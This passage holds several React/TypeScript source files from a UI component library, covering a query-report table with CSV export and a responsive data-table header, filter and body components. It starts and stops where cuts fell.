<div className={cn('flex flex-col w-full', isCompact ? 'gap-0' : 'gap-[var(--spacing-system-l)]', className)}>\n      {/* Title bar — hidden in compact mode and when empty */}\n      {!isCompact && (title || headerActions || (showExport && data.length > 0)) && (\n        <div className=\"flex items-end justify-between pt-[var(--spacing-system-l)]\">\n          <h2 className=\"text-h2 text-ods-text-primary\">\n            {title}\n          </h2>\n          <div className=\"flex items-center gap-[var(--spacing-system-s)]\">\n            {headerActions}\n            {showExport && data.length > 0 && (\n              <Button\n                className='bg-ods-card max-md:hidden'\n                variant=\"outline\"\n                leftIcon={<Download02Icon size={18} className=\"text-ods-text-secondary\" />}\n                onClick={handleExport}\n              >\n                Export CSV\n              </Button>\n            )}\n          </div>\n        </div>\n      )}\n\n      {/* Loading state */}\n      {loading && (\n        <QueryReportTableSkeleton\n          rows={skeletonRows}\n          columns={skeletonColumns}\n          columnWidth={columnWidth}\n          variant={variant}\n        />\n      )}\n\n      {/* Empty state */}\n      {!loading && data.length === 0 && (\n        <TableEmptyState message={emptyMessage} />\n      )}\n\n      {/* Table content */}\n      {!loading && data.length > 0 && (\n        <div className=\"flex flex-col\">\n          {/* Custom scrollbar track — hidden in compact mode */}\n          {!isCompact && thumbRatio > 0 && (\n            <div\n              ref={trackRef}\n              className=\"relative h-2 rounded-full bg-ods-border cursor-pointer\"\n              onClick={onTrackClick}\n              onWheel={onTrackWheel}\n            >\n              <div\n                ref={thumbRef}\n                data-scrollbar-thumb\n                className=\"absolute top-0 h-full rounded-full bg-ods-text-secondary transition-colors\"\n                style={{\n                  width: `${thumbRatio * 100}%`,\n                  cursor: 'grab',\n                }}\n                onPointerDown={onThumbPointerDown}\n                onPointerMove={onThumbPointerMove}\n                onPointerUp={onThumbPointerUp}\n              />\n            </div>\n          )}\n\n          {/* Scrollable table container */}\n          <div className=\"relative\">\n            <div\n              ref={scrollRef}\n              className={cn('overflow-x-auto', tableClassName)}\n              onScroll={onScroll}\n            >\n              <div style={{ minWidth: tableMinWidth }}>\n                <QueryReportTableHeader\n                  columns={columns}\n                  columnWidth={columnWidth}\n                  variant={variant}\n                />\n                <div className={cn('flex flex-col', isCompact ? 'gap-0' : 'gap-[var(--spacing-system-xs)]')}>\n                  {data.map((row, index) => (\n                    <QueryReportTableRow\n                      key={index}\n                      row={row}\n                      columns={columns}\n                      columnWidth={columnWidth}\n                      variant={variant}\n                    />\n                  ))}\n                </div>\n              </div>\n            </div>\n\n            {/* Edge fades — hidden in compact mode */}\n            {!isCompact && canScrollLeft && (\n              <div className=\"absolute inset-y-0 left-0 w-10 bg-gradient-to-r from-ods-bg to-transparent pointer-events-none\" />\n            )}\n            {!isCompact && canScrollRight && (\n              <div className=\"absolute inset-y-0 right-0 w-10 bg-gradient-to-l from-ods-bg to-transparent pointer-events-none\" />\n            )}\n          </div>\n        </div>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport { useRef, useState, useCallback } from 'react'\nimport { cn } from '../../../utils/cn'\nimport {\n  Tooltip,\n  TooltipContent,\n  TooltipProvider,\n  TooltipTrigger,\n} from '../tooltip'\nimport type { QueryReportTableHeaderProps } from './types'\n\nexport function QueryReportTableHeader({\n  columns,\n  columnWidth,\n  variant = 'default',\n  className\n}: QueryReportTableHeaderProps) {\n  const isCompact = variant === 'compact'\n\n  return (\n    <div\n      className={cn(\n        'flex items-center gap-4 px-4',\n        isCompact ? 'py-2 border-b border-ods-border' : '',\n        className\n      )}\n    >\n      {columns.map((column) => (\n        <TruncatedHeaderCell\n          key={column}\n          value={column}\n          width={columnWidth}\n        />\n      ))}\n    </div>\n  )\n}\n\nfunction TruncatedHeaderCell({ value, width }: { value: string; width: number }) {\n  const textRef = useRef<HTMLDivElement>(null)\n  const [isTruncated, setIsTruncated] = useState(false)\n\n  const checkTruncation = useCallback(() => {\n    const el = textRef.current\n    if (el) {\n      setIsTruncated(el.scrollWidth > el.clientWidth)\n    }\n  }, [])\n\n  return (\n    <TooltipProvider delayDuration={300}>\n      <Tooltip open={isTruncated ? undefined : false}>\n        <TooltipTrigger asChild onMouseEnter={checkTruncation}>\n          <div\n            className=\"shrink-0 flex items-center\"\n            style={{ width, height: 48 }}\n          >\n            <div\n              ref={textRef}\n              className=\"text-h5 text-ods-text-secondary truncate\"\n            >\n              {value}\n            </div>\n          </div>\n        </TooltipTrigger>\n        <TooltipContent side=\"bottom\" className=\"max-w-xs break-words\">\n          {value}\n        </TooltipContent>\n      </Tooltip>\n    </TooltipProvider>\n  )\n}\n","'use client'\n\nimport { useRef, useState, useCallback } from 'react'\nimport { cn } from '../../../utils/cn'\nimport {\n  Tooltip,\n  TooltipContent,\n  TooltipProvider,\n  TooltipTrigger,\n} from '../tooltip'\nimport type { QueryReportTableRowProps } from './types'\n\nexport function QueryReportTableRow({\n  row,\n  columns,\n  columnWidth,\n  variant = 'default',\n  className\n}: QueryReportTableRowProps) {\n  const isCompact = variant === 'compact'\n\n  return (\n    <div\n      className={cn(\n        isCompact\n          ? 'border-b border-ods-border'\n          : 'relative rounded-[6px] bg-ods-card border border-ods-border overflow-hidden',\n        className\n      )}\n    >\n      <div className={cn(\n        'flex items-center gap-4 px-4',\n        isCompact ? 'h-[56px]' : 'h-[80px]'\n      )}>\n        {columns.map((column) => {\n          const value = row[column]\n          const displayValue = value === null || value === undefined ? '-' : String(value)\n          return (\n            <div\n              key={column}\n              className=\"shrink-0 flex flex-col justify-center overflow-hidden\"\n              style={{ width: columnWidth }}\n            >\n              <TruncatedCell\n                className={cn(\n                  'text-ods-text-primary',\n                  isCompact\n                    ? 'text-h6'\n                    : 'text-h4'\n                )}\n                value={displayValue}\n              />\n            </div>\n          )\n        })}\n      </div>\n    </div>\n  )\n}\n\nfunction TruncatedCell({ value, className }: { value: string; className?: string }) {\n  const textRef = useRef<HTMLSpanElement>(null)\n  const [isTruncated, setIsTruncated] = useState(false)\n\n  const checkTruncation = useCallback(() => {\n    const el = textRef.current\n    if (el) {\n      setIsTruncated(el.scrollWidth > el.clientWidth)\n    }\n  }, [])\n\n  return (\n    <TooltipProvider delayDuration={300}>\n      <Tooltip open={isTruncated ? undefined : false}>\n        <TooltipTrigger asChild onMouseEnter={checkTruncation}>\n          <span ref={textRef} className={cn('truncate block', className)}>\n            {value}\n          </span>\n        </TooltipTrigger>\n        <TooltipContent side=\"top\" className=\"max-w-xs break-words\">\n          {value}\n        </TooltipContent>\n      </Tooltip>\n    </TooltipProvider>\n  )\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport type { QueryReportTableSkeletonProps } from './types'\n\nexport function QueryReportTableSkeleton({\n  rows,\n  columns,\n  columnWidth,\n  variant = 'default',\n  className\n}: QueryReportTableSkeletonProps) {\n  const isCompact = variant === 'compact'\n\n  return (\n    <div className={cn('flex flex-col', isCompact ? 'gap-0' : 'gap-[var(--spacing-system-xs)]', className)}>\n      {/* Skeleton header */}\n      <div className={cn(\n        'flex items-center gap-4 px-4',\n        isCompact ? 'py-2 border-b border-ods-border' : ''\n      )}>\n        {Array.from({ length: columns }).map((_, i) => (\n          <div\n            key={`header-${i}`}\n            className=\"shrink-0 flex items-center\"\n            style={{ width: columnWidth, height: 48 }}\n          >\n            <div className=\"h-4 bg-ods-bg-surface rounded w-3/4 animate-pulse\" />\n          </div>\n        ))}\n      </div>\n\n      {/* Skeleton rows */}\n      {Array.from({ length: rows }).map((_, rowIndex) => (\n        <div\n          key={`row-${rowIndex}`}\n          className={cn(\n            'animate-pulse',\n            isCompact\n              ? 'border-b border-ods-border'\n              : 'relative rounded-[6px] bg-ods-card border border-ods-border overflow-hidden'\n          )}\n        >\n          <div className={cn(\n            'flex items-center gap-4 px-4',\n            isCompact ? 'h-[56px]' : 'h-[80px]'\n          )}>\n            {Array.from({ length: columns }).map((_, colIndex) => (\n              <div\n                key={`cell-${rowIndex}-${colIndex}`}\n                className=\"shrink-0\"\n                style={{ width: columnWidth }}\n              >\n                <div\n                  className={cn('bg-ods-bg-surface rounded', isCompact ? 'h-4' : 'h-5')}\n                  style={{ width: `${55 + (rowIndex * colIndex * 7) % 35}%` }}\n                />\n              </div>\n            ))}\n          </div>\n        </div>\n      ))}\n    </div>\n  )\n}\n","import type { QueryResultRow } from './types'\n\nexport function deriveColumns(\n  data: QueryResultRow[],\n  columnOrder?: string[]\n): string[] {\n  if (data.length === 0) return []\n\n  const allKeys = Object.keys(data[0])\n\n  if (!columnOrder || columnOrder.length === 0) {\n    return allKeys\n  }\n\n  // Start with ordered keys that actually exist in the data\n  const ordered = columnOrder.filter((key) => allKeys.includes(key))\n  // Append any remaining keys not in the explicit order\n  const remaining = allKeys.filter((key) => !columnOrder.includes(key))\n\n  return [...ordered, ...remaining]\n}\n\n/**\n * Escape a CSV cell value — wraps in quotes if it contains commas, quotes, or newlines.\n */\nfunction escapeCSVCell(value: string): string {\n  if (value.includes(',') || value.includes('\"') || value.includes('\\n') || value.includes('\\r')) {\n    return `\"${value.replace(/\"/g, '\"\"')}\"`\n  }\n  return value\n}\n\nexport function exportToCSV(\n  data: QueryResultRow[],\n  columns: string[],\n  filename: string\n): void {\n  if (data.length === 0 || columns.length === 0) return\n\n  const header = columns.map(escapeCSVCell).join(',')\n  const rows = data.map((row) =>\n    columns\n      .map((col) => {\n        const value = row[col]\n        if (value === null || value === undefined) return ''\n        return escapeCSVCell(String(value))\n      })\n      .join(',')\n  )\n\n  const csv = [header, ...rows].join('\\n')\n  const blob = new Blob([csv], { type: 'text/csv;charset=utf-8;' })\n  const url = URL.createObjectURL(blob)\n\n  const link = document.createElement('a')\n  link.href = url\n  link.download = `${filename}.csv`\n  link.style.display = 'none'\n  document.body.appendChild(link)\n  link.click()\n\n  // Cleanup\n  document.body.removeChild(link)\n  URL.revokeObjectURL(url)\n}\n","'use client'\n\nimport { createContext, useContext, type ReactNode } from 'react'\nimport type { Table } from '@tanstack/react-table'\nimport { cn } from '../../../utils/cn'\nimport './types'\n\nconst DataTableContext = createContext<Table<any> | null>(null)\n\nexport function useDataTableContext<T = any>(): Table<T> {\n  const ctx = useContext(DataTableContext)\n  if (!ctx) {\n    throw new Error(\n      '<DataTable.Header/Body/...> must be used inside <DataTable table={...}>',\n    )\n  }\n  return ctx as Table<T>\n}\n\nexport interface DataTableProps<T> {\n  table: Table<T>\n  children: ReactNode\n  className?: string\n}\n\nexport function DataTableRoot<T>({ table, children, className }: DataTableProps<T>) {\n  return (\n    <DataTableContext.Provider value={table}>\n      <div className={cn('flex flex-col w-full', className)}>{children}</div>\n    </DataTableContext.Provider>\n  )\n}\n","'use client'\n\nimport type { ReactNode } from 'react'\nimport { flexRender, type Header } from '@tanstack/react-table'\nimport { cn } from '../../../utils/cn'\nimport {\n  Arrow01DownIcon,\n  Arrow01UpIcon,\n  SwitchVrIcon,\n} from '../../icons-v2-generated'\nimport { DataTableColumnFilter } from './data-table-column-filter'\nimport { useDataTableContext } from './data-table'\nimport type { TailwindBreakpoint } from './types'\nimport { alignJustify, BREAKPOINT_ORDER, getHideAtVisibility } from './utils'\n\n/** Single-column sort descriptor consumed by the header. */\nexport interface DataTableSortState {\n  id: string\n  desc: boolean\n}\n\nexport interface DataTableHeaderProps {\n  className?: string\n  /** Keep the header visible while scrolling. */\n  stickyHeader?: boolean\n  /** Tailwind top class for sticky offset, e.g. `'top-[56px]'`. */\n  stickyHeaderOffset?: string\n  /**\n   * Content rendered at the right edge of the header, on the same row as\n   * column labels. Use for row-count, header-level toolbar buttons, etc.\n   *\n   * @example\n   * <DataTable.Header rightSlot={<DataTable.RowCount itemName=\"device\" />} />\n   */\n  rightSlot?: ReactNode\n  /**\n   * Current sort descriptor. The header only renders the direction indicator\n   * based on this value — it doesn't own the state. Pair with `onSortChange`\n   * and let the consumer decide what a click means (server query, in-memory\n   * sort, TanStack's row-model sort, …).\n   */\n  sort?: DataTableSortState | null\n  /**\n   * Fires when a sortable column header is clicked. The consumer owns the\n   * toggle cycle (e.g. none → asc → desc → none) and the actual data sort.\n   */\n  onSortChange?: (columnId: string) => void\n}\n\nexport function DataTableHeader({\n  className,\n  stickyHeader,\n  stickyHeaderOffset,\n  rightSlot,\n  sort = null,\n  onSortChange,\n}: DataTableHeaderProps) {\n  const table = useDataTableContext()\n\n  // Flat header group (nested headers can be added later if needed).\n  const headerGroup = table.getHeaderGroups()[0]\n  if (!headerGroup) return null\n\n  // Below lg only filterable columns (and explicit opt-ins) are visible — the same\n  // `keepsCellOnTablet` predicate the cells themselves use, so the two cannot drift.\n  // If a table has none, every cell is hidden there, the flex row has no height, and\n  // an absolutely-positioned rightSlot has nothing to sit in — so that slot goes\n  // in-flow instead. Derived from column META, never from the viewport: the same\n  // answer on the server, on the first client paint and after, which is the whole\n  // point of this file no longer reading a media query.\n  const hasTabletVisibleCell = headerGroup.headers.some(\n    header => !header.isPlaceholder && keepsCellOnTablet(header.column.columnDef.meta),\n  )\n\n  return (\n    <div\n      className={cn(\n        'hidden md:flex md:flex-col',\n        stickyHeader && `sticky z-10 bg-ods-bg ${stickyHeaderOffset ?? 'top-0'}`,\n        className,\n      )}\n    >\n      <div className=\"flex items-stretch gap-[var(--spacing-system-mf)] px-[var(--spacing-system-mf)] relative\">\n        {headerGroup.headers.map(header => (\n          <HeaderCell key={header.id} header={header} sort={sort} onSortChange={onSortChange} />\n        ))}\n        {rightSlot && (\n          <div\n            className={cn(\n              'flex items-center',\n              hasTabletVisibleCell\n                ? 'absolute right-[var(--spacing-system-mf)] inset-y-0'\n                : // No cell is visible below lg, so there this slot is the only thing\n                  // giving the row height and carries the same fixed 48 rather than\n                  // padding out to 44. From lg the cells are back and it returns to\n                  // the absolute placement. Safe as a `max-lg:` override: nothing\n                  // else in this string sets margin or height, so it competes only\n                  // with unprefixed defaults, never with a `md:`/`lg:` class.\n                  'max-lg:ml-auto max-lg:h-12 lg:absolute lg:right-[var(--spacing-system-mf)] lg:inset-y-0',\n            )}\n          >\n            {rightSlot}\n          </div>\n        )}\n      </div>\n    </div>\n  )\n}\n\n/* ─────────────────────────────── internals ─────────────────────────────── */\n\ntype AnyHeader = Header<unknown, unknown>\n\ninterface HeaderCellProps {\n  header: AnyHeader\n  sort: DataTableSortState | null\n  onSortChange?: (columnId: string) => void\n}\n\ntype ColumnMeta = AnyHeader['column']['columnDef']['meta']\n\n/**\n * Whether a column's header stays visible below `lg`, where the row is narrow\n * enough that only the controls a user can act on earn their space: the filter\n * dropdowns, plus anything explicitly opted in via `meta.alwaysShowHeader`.\n */\nfunction keepsCellOnTablet(meta: ColumnMeta): boolean {\n  return Boolean(meta?.filter) || meta?.alwaysShowHeader === true\n}\n\n// Literal class maps — Tailwind's scanner needs the full class strings, which a\n// `${bp}:flex` template would not give it.\nconst SHOW_FROM: Record<TailwindBreakpoint, string> = {\n  md: 'md:flex',\n  lg: 'lg:flex',\n  xl: 'xl:flex',\n  '2xl': '2xl:flex',\n}\nconst HIDE_FROM: Record<TailwindBreakpoint, string> = {\n  md: 'md:hidden',\n  lg: 'lg:hidden',\n  xl: 'xl:hidden',\n  '2xl': '2xl:hidden',\n}\n/** Index of `lg` in the `[base, md, lg, xl, 2xl]` visibility array. */\nconst LG_STEP = BREAKPOINT_ORDER.indexOf('lg') + 1\n\n/**\n * Visibility classes for one header cell, as a plain min-width ladder.\n *\n * Two rules stack here: the column's own `hideAt`, and \"below `lg` only the\n * cells a user can act on\". Layering them as classes does not work — a\n * `max-lg:` override cannot cancel a `md:hidden` from `hideAt`, because Tailwind\n * emits the `max-lg` block BEFORE the `md` one and equal-specificity rules are\n * decided by source order. So both rules are resolved on booleans first, and only\n * the result is turned into classes: at most one utility per breakpoint, each a\n * `min-width` variant, no ordering left to chance.\n */\nfunction getCellVisibilityClasses(\n  keepOnTablet: boolean,\n  hideAt: TailwindBreakpoint | TailwindBreakpoint[] | undefined,\n): string {\n  const fromHideAt = getHideAtVisibility(hideAt)\n  const visible = fromHideAt.map((shown, step) =>\n    keepOnTablet\n      ? // Reachable below lg whatever `hideAt` says; from lg it governs again.\n        step < LG_STEP || shown\n      : // Otherwise lg is a floor `hideAt` can raise but never lower.\n        shown && step >= LG_STEP,\n  )\n\n  const classes = [visible[0] ? 'flex' : 'hidden']\n  for (let step = 1; step < visible.length; step++) {\n    if (visible[step] === visible[step - 1]) continue\n    const breakpoint = BREAKPOINT_ORDER[step - 1]\n    classes.push(visible[step] ? SHOW_FROM[breakpoint] : HIDE_FROM[breakpoint])\n  }\n  return classes.join(' ')\n}\n\n/**\n * One header cell.\n *\n * Everything responsive here is a CSS class, deliberately. This used to branch on\n * `useLgUp() ?? false`, which answers `undefined` until an effect has run — so the\n * FIRST render (server included) took the \"not lg\" path on every viewport: each\n * non-filterable cell returned `null`, and the survivors rendered with no width and\n * no alignment. One frame later the real values arrived, so the header visibly\n * filled in and the columns snapped into place — while `DataTableRow` and\n * `DataTableSkeleton`, which have always used plain `hideAt` classes, were correct\n * from the start. Header and body therefore disagreed about which columns exist and\n * how wide they are for exactly one frame, which is the flicker-and-jump on every\n * table's load.\n */\nfunction HeaderCell({ header, sort, onSortChange }: HeaderCellProps) {\n  if (header.isPlaceholder) return null\n\n  const column = header.column\n  const meta = column.columnDef.meta\n  const hasFilter = Boolean(meta?.filter)\n  const keepOnTablet = keepsCellOnTablet(meta)\n  const align = meta?.align ?? 'left'\n  // Sort is opt-in via `meta.sortable`. Direction is fully consumer-driven via\n  // the `sort` prop; we do not consult TanStack's sort APIs here.\n  const canSort = meta?.sortable === true\n  const sortDir: false | 'asc' | 'desc' =\n    sort?.id === column.id ? (sort.desc ? 'desc' : 'asc') : false\n\n  return (\n    <div\n      className={cn(\n        'items-stretch',\n        // Cells are hidden rather than dropped from the tree, so which columns\n        // exist never depends on when an effect ran.\n        getCellVisibilityClasses(keepOnTablet, meta?.hideAt),\n        // Width applies from lg only. Stated as \"always, neutralized below lg\"\n        // because `meta.width` is an opaque consumer string that cannot be\n        // prefixed. Only `keepOnTablet` cells need the override — the rest are\n        // hidden below lg anyway.\n        //\n        // `[&&]` doubles the class in the selector (`.cls.cls`, specificity 0-2-0),\n        // and it is load-bearing: consumers routinely write a RESPONSIVE width\n        // (`w-[80px] md:w-1/5` is the common shape), and between md and lg that\n        // `md:` rule and this `max-lg:` one both match. At equal specificity source\n        // order decides, and Tailwind emits the `max-lg` block BEFORE the `md` one\n        // — the same ordering documented for visibility above — so the tablet would\n        // keep a width the design drops there, leaving the cells spread across the\n        // row instead of packed beside their filters. An opaque consumer string\n        // cannot be outranked by ordering, so this wins on the cascade's other axis.\n        // Specificity rather than `!important`: it stays a normal declaration, so a\n        // consumer that genuinely needs a tablet width can still take it back with a\n        // more specific rule — `!important` could only be answered with another one.\n        meta?.width || 'flex-1 min-w-0',\n        keepOnTablet && 'max-lg:[&&]:w-auto max-lg:[&&]:flex-none max-lg:[&&]:basis-auto',\n        meta?.headerClassName,\n      )}\n    >\n      {hasFilter ? (\n        <DataTableColumnFilter\n          column={column}\n          options={meta!.filter!.options}\n          placement={meta!.filter!.placement}\n          pending={meta!.filter!.pending}\n          label={resolveHeaderLabel(header)}\n          align={align}\n        />\n      ) : (\n        <div\n          className={cn(\n            // Fixed 48px header height per design (20px label centered inside)\n            // instead of the padding-driven 44px.\n            'flex w-full items-center gap-[var(--spacing-system-xsf)] h-12 rounded-sm select-none transition-colors duration-200',\n            // Same \"always, neutralized below lg\" shape as the width above.\n            alignJustify(align),\n            keepOnTablet && 'max-lg:justify-start',\n            canSort && 'group cursor-pointer',\n          )}\n          onClick={canSort ? () => onSortChange?.(column.id) : undefined}\n        >\n          <HeaderLabel header={header} />\n          {canSort && <SortIcon sorted={sortDir} />}\n        </div>\n      )}\n    </div>\n  )\n}\n\nfunction HeaderLabel({ header }: { header: AnyHeader }) {\n  const headerDef = header.column.columnDef.header\n  if (headerDef === undefined) return null\n  if (typeof headerDef === 'string') {\n    return (\n      <span className=\"text-h5 text-ods-text-secondary uppercase whitespace-nowrap transition-colors duration-200 group-hover:text-ods-text-primary\">\n        {headerDef}\n      </span>\n    )\n  }\n  // Render-function or ReactNode: caller is responsible for styling.\n  return <>{flexRender(headerDef, header.getContext())}</>\n}\n\nfunction SortIcon({ sorted }: { sorted: false | 'asc' | 'desc' }) {\n  if (sorted === 'asc') return <Arrow01UpIcon className=\"w-4 h-4 text-ods-accent\" />\n  if (sorted === 'desc') return <Arrow01DownIcon className=\"w-4 h-4 text-ods-accent\" />\n  return <SwitchVrIcon className=\"w-4 h-4 text-ods-text-secondary transition-colors duration-200 group-hover:text-ods-text-primary\" />\n}\n\nfunction resolveHeaderLabel(header: AnyHeader): string {\n  const h = header.column.columnDef.header\n  return typeof h === 'string' ? h : header.column.id\n}\n","'use client'\n\nimport { useCallback, useMemo } from 'react'\nimport type { Column } from '@tanstack/react-table'\nimport { cn } from '../../../utils/cn'\nimport { Filter02Icon } from '../../icons-v2-generated'\nimport { FiltersDropdown, type FilterSection } from '../../features'\nimport type { DataTableFilterOption } from './types'\nimport { alignJustify } from './utils'\n\n// Stable reference for \"no filter selected\" — avoids creating a new `[]` per\n// render when `column.getFilterValue()` is `undefined`, which would otherwise\n// invalidate `currentFilters` useMemo every render.\nconst EMPTY_ARRAY: string[] = []\n\nexport interface DataTableColumnFilterProps {\n  column: Column<unknown, unknown>\n  options: DataTableFilterOption[]\n  placement?: 'bottom-start' | 'bottom-end' | 'bottom'\n  label: string\n  align?: 'left' | 'center' | 'right'\n  /** Options are still loading — see `meta.filter.pending`. */\n  pending?: boolean\n}\n\n/** Filter dropdown wrapper that reads/writes TanStack column filter state. */\nexport function DataTableColumnFilter({\n  column,\n  options,\n  placement = 'bottom-start',\n  label,\n  align = 'left',\n  pending = false,\n}: DataTableColumnFilterProps) {\n  const currentValue = column.getFilterValue() as string[] | undefined\n  const activeCount = currentValue?.length ?? 0\n\n  const sections = useMemo<FilterSection[]>(\n    () => [\n      {\n        id: column.id,\n        title: label,\n        type: 'checkbox',\n        options,\n        allowSelectAll: true,\n      },\n    ],\n    [column.id, label, options],\n  )\n\n  const currentFilters = useMemo(\n    () => ({ [column.id]: currentValue ?? EMPTY_ARRAY }),\n    [column.id, currentValue],\n  )\n\n  const handleApply = useCallback(\n    (applied: Record<string, string[]>) => {\n      const next = applied[column.id] ?? []\n      column.setFilterValue(next.length > 0 ? next : undefined)\n    },\n    [column],\n  )\n\n  const handleReset = useCallback(() => {\n    column.setFilterValue(undefined)\n  }, [column])\n\n  // Nothing to choose from. Two ways to get here, and they look different:\n  //\n  //  - `pending`: the options are in flight. The funnel is drawn but inert, so\n  //    it does not appear out of nowhere when the query answers — the state a\n  //    skeleton, or a table whose facets load separately from its rows, asks for.\n  //  - otherwise: there are no options and there will be none. No funnel: a\n  //    control that cannot be opened reads as a broken one, and the design shows\n  //    the bare label. `meta.filter` still being declared is what keeps the\n  //    header cell alive on tablet (below `lg` only filterable cells show) and\n  //    keeps its 48px box — only the glyph goes.\n  const isEmpty = options.length === 0\n\n  const trigger = (\n    <div\n      className={cn(\n        // Fixed 48px per design, same as the plain header cell next to it —\n        // NOT padding around the label. The two were drifting: 12px+20px+12px\n        // came out 44px here while the sibling was pinned to 48, so in a\n        // header mixing filterable and plain columns the labels sat on\n        // different centre lines and the filter's hit area was 4px short of\n        // the row it belongs to.\n        'group flex w-full items-center gap-[var(--spacing-system-xsf)] h-12 rounded-sm transition-colors duration-200 select-none',\n        alignJustify(align),\n        isEmpty ? 'cursor-default' : 'cursor-pointer',\n      )}\n      // Only a real control announces itself as one. With no options this box\n      // is the plain header label the non-filterable columns beside it render.\n      aria-label={isEmpty ? undefined : `Filter by ${label}`}\n    >\n      <span\n        className={cn(\n          'text-h5 text-ods-text-secondary whitespace-nowrap transition-colors duration-200',\n          !isEmpty && 'group-hover:text-ods-text-primary',\n        )}\n      >\n        {label}\n      </span>\n      {/* Kept while PENDING — it holds its own width, so the label does not\n          shift sideways the moment the options resolve — and dropped once we\n          know there are none. */}\n      {(!isEmpty || pending) && (\n        <Filter02Icon\n          className={cn(\n            'w-4 h-4 transition-colors',\n            activeCount > 0 && 'text-ods-accent',\n            activeCount === 0 && 'text-ods-text-secondary',\n            activeCount === 0 && !isEmpty && 'group-hover:text-ods-text-primary',\n          )}\n        />\n      )}\n    </div>\n  )\n\n  // Same box, no dropdown: opening onto an empty list would be a worse answer\n  // than not opening at all.\n  if (isEmpty) {\n    return <div className=\"block w-full\">{trigger}</div>\n  }\n\n  return (\n    <FiltersDropdown\n      className=\"!block w-full\"\n      triggerElement={trigger}\n      sections={sections}\n      currentFilters={currentFilters}\n      onApply={handleApply}\n      onReset={handleReset}\n      placement={placement}\n      dropdownClassName=\"min-w-60\"\n    />\n  )\n}\n","import type { FilterFn } from '@tanstack/react-table'\nimport type { TailwindBreakpoint } from './types'\n\n/** Ascending breakpoint scale `hideAt` is expressed in. */\nexport const BREAKPOINT_ORDER: TailwindBreakpoint[] = ['md', 'lg', 'xl', '2xl']\n\n/**\n * Generates Tailwind hide classes based on breakpoint configuration.\n *\n * @example\n * getHideClasses('md')           // 'hidden md:flex'\n * getHideClasses(['md', 'lg'])   // 'md:hidden lg:hidden xl:flex'\n */\nexport function getHideClasses(\n  hideAt?: TailwindBreakpoint | TailwindBreakpoint[],\n): string {\n  if (!hideAt) return ''\n\n  const breakpoints = Array.isArray(hideAt) ? hideAt : [hideAt]\n\n  if (breakpoints.length === 1) {\n    return `hidden ${breakpoints[0]}:flex`\n  }\n\n  const maxIdx = Math.max(...breakpoints.map(bp => BREAKPOINT_ORDER.indexOf(bp)))\n  const hideClasses = breakpoints.map(bp => `${bp}:hidden`).join(' ')\n  const showBreakpoint = BREAKPOINT_ORDER[maxIdx + 1]\n  return showBreakpoint ? `${hideClasses} ${showBreakpoint}:flex` : hideClasses\n}\n\n/**\n * The visibility `getHideClasses(hideAt)` actually produces, evaluated per\n * breakpoint: `[base, md, lg, xl, 2xl]`.\n *\n * The header needs to *know* this rather than emit it, because its cells carry a\n * second rule on top (only filterable columns show below `lg`) and the two cannot\n * be layered as classes — Tailwind orders `max-*` media queries BEFORE `min-*`\n * ones, so a `max-lg:` override loses to any `md:`/`lg:` class it is meant to\n * cancel. Combining the two rules here, on plain booleans, sidesteps that\n * entirely: the header emits one unambiguous min-width ladder.\n *\n * Must stay in step with `getHideClasses` — the body rows and the skeleton apply\n * those classes directly, and a disagreement is a header that shows a different\n * set of columns than the rows beneath it.\n */\nexport function getHideAtVisibility(\n  hideAt?: TailwindBreakpoint | TailwindBreakpoint[],\n): boolean[] {\n  const steps = BREAKPOINT_ORDER.length + 1\n  if (!hideAt) return Array.from({ length: steps }, () => true)\n\n  const breakpoints = Array.isArray(hideAt) ? hideAt : [hideAt]\n\n  // Single breakpoint → `hidden <bp>:flex`: hidden below it, visible from it.\n  if (breakpoints.length === 1) {\n    const showFrom = BREAKPOINT_ORDER.indexOf(breakpoints[0]) + 1\n    return Array.from({ length: steps }, (_, step) => step >= showFrom)\n  }\n\n  // Array → one `<bp>:hidden` per entry plus a single `<next>:flex`, and no bare\n  // `hidden`, so the base step stays visible. Walk the scale upwards: later\n  // classes win, and the show breakpoint always sits past every hide one.\n  const maxIdx = Math.max(...breakpoints.map(bp => BREAKPOINT_ORDER.indexOf(bp)))\n  const showBreakpoint = BREAKPOINT_ORDER[maxIdx + 1]\n  const visible = [true]\n  for (const bp of BREAKPOINT_ORDER) {\n    let state = visible[visible.length - 1]\n    if (breakpoints.includes(bp)) state = false\n    if (bp === showBreakpoint) state = true\n    visible.push(state)\n  }\n  return visible\n}\n\n/** Maps `meta.align` to flex justify classes. */\nexport function alignJustify(align?: 'left' | 'center' | 'right'): string {\n  switch (align) {\n    case 'center':\n      return 'justify-center text-center'\n    case 'right':\n      return 'justify-end text-right'\n    default:\n      return 'justify-start text-left'\n  }\n}\n\n/**\n * Default `filterFn` for columns that use `meta.filter` with multi-select options.\n * Passes the row when the selected filter values contain the row's cell value.\n *\n * Use with `clientSideFiltering: true` on `useDataTable`. For server-side filtering\n * (Relay/REST), TanStack doesn't call `filterFn` at all — `manualFiltering` is on\n * and you translate `columnFilters` state into backend query variables yourself.\n *\n * @example\n * const columns: ColumnDef<Device>[] = [\n *   {\n *     accessorKey: 'status',\n *     header: 'Status',\n *     filterFn: multiSelectFilterFn,\n *     meta: { filter: { options: STATUS_OPTIONS } },\n *   },\n * ]\n */\nexport const multiSelectFilterFn: FilterFn<any> = (row, columnId, filterValue) => {\n  const values = filterValue as Array<string | number | boolean> | undefined\n  if (!values || values.length === 0) return true\n  const cellValue = row.getValue(columnId)\n  return values.some(v => v === cellValue || String(v) === String(cellValue))\n}\n","'use client'\n\nimport type { ReactNode } from 'react'\nimport { cn } from '../../../utils/cn'\nimport type { NoDataProps } from '../no-data'\nimport { useDataTableContext } from './data-table'\nimport { DataTableEmpty } from './data-table-empty'\nimport { DataTableRow } from './data-table-row'\nimport {\n  DataTableSkeleton,\n  ROW_HEIGHT_DESKTOP,\n  ROW_HEIGHT_MOBILE,\n  ROW_SHELL_CLASSES,\n} from './data-table-skeleton'\n\nexport interface DataTableBodyProps<T = any> {\n  /** Show skeleton rows while `loading` is true and data is empty. */\n  loading?: boolean\n  /** @deprecated Use `emptyState` instead. Legacy single-line message; mapped to the empty state's title. */\n  emptyMessage?: string\n  /** Props for the empty state (NoData) shown when there are no rows. Overrides `emptyMessage`. */\n  emptyState?: NoDataProps\n  /** Skeleton row count when loading. Default `10`. */\n  skeletonRows?: number\n  className?: string\n  /**\n   * Per-row class name. Prefer `useCallback` for function form to avoid\n   * breaking `React.memo` on rows.\n   */\n  rowClassName?: string | ((item: T, index: number) => string)\n  /** Dense row height. */\n  compact?: boolean\n  /**\n   * Treat the design row height as a minimum so multi-line cell content 